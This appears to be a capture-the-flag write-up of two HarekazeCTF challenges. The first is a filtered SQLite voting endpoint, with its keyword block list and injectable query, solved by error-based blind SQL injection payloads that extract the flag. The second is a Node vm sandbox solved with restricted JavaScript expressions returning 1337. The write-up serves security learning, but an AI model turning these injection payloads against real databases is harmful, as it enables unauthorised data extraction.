SQLite Voting
function is_valid($str) {
$banword = [
// dangerous chars
// " % ' * + / < = > \ _ ` ~ -
"[\"%'*+\\/<=>\\\\_`~-]",
// whitespace chars
'\s',
// dangerous functions
'blob', 'load_extension', 'char', 'unicode',
'(in|sub)str', '[lr]trim', 'like', 'glob', 'match', 'regexp',
'in', 'limit', 'order', 'union', 'join'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}
// request to SQLite db, I skipped is_valid($id)
$res = $pdo->query("UPDATE vote SET count = count + 1 WHERE id = ${id}");
if ($res === false) {
die(json_encode(['error' => 'An error occurred while updating database']));
}
We can see that we've got a heavily filtered error-based blind sql injection.
Solution
First we got the length of the flag by enumerating through $LENGTH$
in the following payload:
abs(ifnull(nullif(length((SELECT(flag)from(flag))),$LENGTH$),0x8000000000000000))
I will explain the payload bit-by-bit later, but the flag was 38 characters long.
Then, we double hexed the flag
so we can be sure that it only produces digits
sqlite> select hex('0123456789ABCDEF');
30313233343536373839414243444546
We also know that the length of the produced number is exactly 152-digit long.
You cannot pass integers bigger than 9223372036854775807
because they will get cast into floating numbers, but you can concatenate them as they were strings, e.g. 9223372036854775807||9223372036854775807
will produce 92233720368547758079223372036854775807
. Thanks to this property we now can iterate over all composited 152-digit long $NUMBER$
and use the max(A, B)
function which will return the bigger one.
abs(ifnull(nullif(max(hex(hex((SELECT(flag)from(flag)))),$NUMBER$),$NUMBER$),0x8000000000000000))
We get the double hexed flag which is:
343836313732363536423631374136353433353434363742333433313644354633373330354636323333354633343546333537313643333133373333354636443334333533373333373237430
HarekazeCTF{41m_70_b3_4_5ql173_m4573r|
Explaination:
abs(-9223372036854775808)
will cause integer overflow and hence throw an error0x8000000000000000
is hex-encoded-9223372036854775808
nullif(A,B)
will returnNULL
ifA
equalsB
, returnsA
otherwiseifnull(A,0x8000000000000000)
will return0x8000000000000000
ifA
isNULL
, otherwiseA
is returned.max(A,B)
returns lexicographically greater string.hex(hex(flag)
"removes" all non-digit characters from flag
/[a-z().]/
if (code && code.length < 200 && !/[^a-z().]/.test(code)) {
try {
const result = vm.runInNewContext(code, {}, { timeout: 500 });
if (result === 1337) {
output = process.env.FLAG;
} else {
output = 'nope';
}
} catch (e) {
output = 'nope';
}
} else {
output = 'nope';
}
We have to create a payload that when ran in the context will return 1337. My first solution was:
escape.name.concat(eval.length).repeat(eval.name.concat(eval).repeat(eval.name.concat(eval.length).length).concat(escape.name).length).length
which is 141 characters long. It uses factorization of 1337 which is 7*191
Then I improved it to:
escape.name.concat(eval.length).repeat(escape(escape(escape(escape(escape(escape(escape(unescape))))))).length).length
which is 118 characters long
Then I just was poking around and the best I got for 7*191 was:
console.profile.name.repeat(escape(escape(eval).sup().bold().link().link()).length).length
(90 characters)
However my best payload doesn't use the factorization:
escape(escape(eval).repeat(escape.name.sup().length)).concat(eval.name.link()).length
and is only 85 characters long!
One could possibly bruteforce the shortest solution but no fun there! :)
P.S
splitline shared on discord a nice way to solve by joining 13 and 37 with the payload: eval(escape(eval.name.fixed().length).concat(unescape(unescape).length))
(72)
I improved my best payload to: escape(escape().bold().repeat(escape(eval).length)).strike().length
and that is only 67 characters long!
The flag: HarekazeCTF{sorry_about_last_year's_js_challenge...}